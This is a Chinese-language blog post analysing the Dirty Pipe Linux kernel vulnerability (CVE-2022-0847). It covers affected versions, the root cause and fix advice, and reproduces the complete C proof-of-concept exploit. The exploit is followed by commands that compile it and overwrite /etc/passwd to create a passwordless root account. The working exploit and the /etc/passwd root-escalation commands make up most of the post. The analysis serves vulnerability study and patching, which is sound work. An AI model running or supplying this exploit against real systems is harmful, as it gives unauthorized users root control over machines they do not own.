si1ent

CVE-2022-0847

2022-03-08

概述

2022年3月7日,Linux曝出新的内核级漏洞。漏洞允许本地低权限用户进行提权至高权限;因系统允许用户覆盖任意只读文件中数据,并生成root用户的SUID进程。此漏洞和CVE-2016-5195的“脏牛”类似,但是此漏洞更容易被攻击者所利用。

详细介绍可参考Dirty Pipe Vulnerability

环境搭建

系统:Kali Linux

内核:Linux Kernel 5.15.0-kali3-amd64

漏实战分类

CVE-2022-0847

漏洞描述

2022年3月7日,Linux曝出新的内核级漏洞。漏洞允许本地低权限用户进行提权至高权限;因系统允许用户覆盖任意只读文件或只读快照、只读挂载(CD-ROOM),并生成root用户的SUID进程。此漏洞和CVE-2016-5195的“脏牛”类似,但是此漏洞更容易被攻击者所利用。

详细介绍可参考Dirty Pipe Vulnerability

影响范围

Linux 内核5.8至5.16之前

Linux 5.16.11, 5.15.25 and 5.10.102已经修复

漏洞原理

漏洞发现者因日志服务器上的日志无法使用gzip进行正常解压并出现CRC报错并进行跟踪复现漏洞。

通过作者概述大概流程:

1.创建新的管道(pipe)

2.填充管道

3.“释放”管道

4.数据拼接

5.任意把“脏数据”写入管道中

更新信息参考:Dirty Pipe Vulnerability

漏洞条件

本地账户

漏洞检测

1、检测系统当前内核版本

1
uname -r

image-20220308111450226

2、或使用PoC进行本地测试

PoC

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/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();

const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];

/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}

/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}

/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}

int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}

/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);

if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}

const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}

/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}

struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}

if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}

if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}

/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);

/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}

/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}

printf("It worked!\n");
return EXIT_SUCCESS;
}

3、gcc编译并执行

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└─$ gcc poc.c
# 向/etc/passwd 文件写入
└─$ ./a.out /etc/passwd 1 ootz:
└─$ su rootz

image-20220308111637000

漏洞修复

目前Linux内核最新版本是5.16.12请自行更新

Referer

1
https://dirtypipe.cm4all.com/
Tags: CVE
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